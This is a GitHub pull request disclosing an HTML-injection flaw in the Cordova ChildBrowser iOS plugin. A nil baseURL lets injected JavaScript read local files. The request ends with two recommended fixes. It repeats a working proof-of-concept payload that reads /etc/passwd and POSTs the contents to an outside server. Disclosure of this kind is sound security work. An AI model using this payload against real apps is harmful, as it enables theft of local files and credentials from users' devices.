Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update ChildBrowserViewController.m #2

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

neilbergman
Copy link

This change addresses a SOP bypass vulnerability in the ChildBrowser that could result in remote disclosure of local files.

Assume that a Cordova-based application allows users to submit URLs that are redisplayed to other users.  The application takes necessary steps to prevent JavaScript injection into the Cordova WebView by escaping single/double quotes.  This scenario may occur if users are allowed to create a profile with a link to their website.  The iOS application utilizes the ChildBrowser to load the untrusted website.

A malicious user sets their URL to the following URL.

http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png

The iOS application validates that the URI scheme is HTTP or HTTPS and then escapes all the double quotes and builds the following JavaScript which is used to invoke the ChildBrowser plugin.

window.plugins.ChildBrowser.showWebPage("http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open(\"GET\",\"file:///etc/passwd\",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open(\"POST\",\"http://d3adend.org/c.php\",false);request.send(dataToSteal);'/?.png",{ showLocationBar: true });

Now the ChildBrowser's loadURL method is invoked on the victim's device.

- (void)loadURL:(NSString*)url
{
    NSLog(@"Opening Url : %@",url);
     
    if( [url hasSuffix:@".png" ]  || 
        [url hasSuffix:@".jpg" ]  || 
        [url hasSuffix:@".jpeg" ] || 
        [url hasSuffix:@".bmp" ]  || 
        [url hasSuffix:@".gif" ]  )
    {
        self.imageURL = nil;
        self.imageURL = url;
        self.isImage = YES;
        NSString* htmlText = @"<html><body style='background-color:#333;margin:0px;padding:0px;'><img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;' alt='' src='IMGSRC'/></body></html>";
        htmlText = [ htmlText stringByReplacingOccurrencesOfString:@"IMGSRC" withString:url ];

        [webView loadHTMLString:htmlText baseURL:[NSURL URLWithString:@""]];

    }
    else
    {
        imageURL = @"";
        isImage = NO;
        NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:url]];
        [self.webView loadRequest:request];
    }
    self.webView.hidden = NO;
}

Since the submitted URL ends with .png, the ChildBrowser plug-in dynamically builds some HTML code without performing output encoding and then loads the HTML into the WebView using the loadHTMLString:baseURL: method.  The baseURL argument is set to [NSURL URLWithString:@""], which is equivalent to setting the baseURL argument to nil.  Apple's API documentation for NSURL states that "if the URL string was malformed or nil, [the method] returns nil" and an empty string is considered a malformed URL.  Unfortunately, the default setting is insecure if the baseURL argument is set to nil.  The HTML code will be loaded using the file URI scheme, which means that the HTML/JavaScript code will have access to local files and can send those local files to remote servers.

In this example, the following HTML code is loaded into the ChildBrowser's WebView.  Note that I break out of the src attribute value and inject in a JavaScript event handler (onerror), which will execute malicious JavaScript code that reads a local file using AJAX (/etc/passwd) and then sends the contents of the file to a remote server.  This is possible since the same origin policy restrictions do not apply in this context.  This technique could be used to remotely steal any local file that the target Cordova application has access to which may include SQLite databases or property list files that contain sensitive data such as OAuth access tokens, session identifiers, or credentials.

<html><body style='background-color:#333;margin:0px;padding:0px;'><img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;' alt='' src='http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png'/></body></html>

See the attached screenshots for the outcome.

http://d3adend.org/cordova/ChildBrowserExploit1.PNG

I would recommend the following to address the vulnerability.

  1. Set the baseURL to about:blank when loading the image HTML code, which prevents the JavaScript code having access to local files (even if HTML injection is possible), but still allows access to remote resources via the img element.
  2. Perform output encoding on the image URL to prevent breaking out of the src attribute, which is currently enclosed in single quotes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant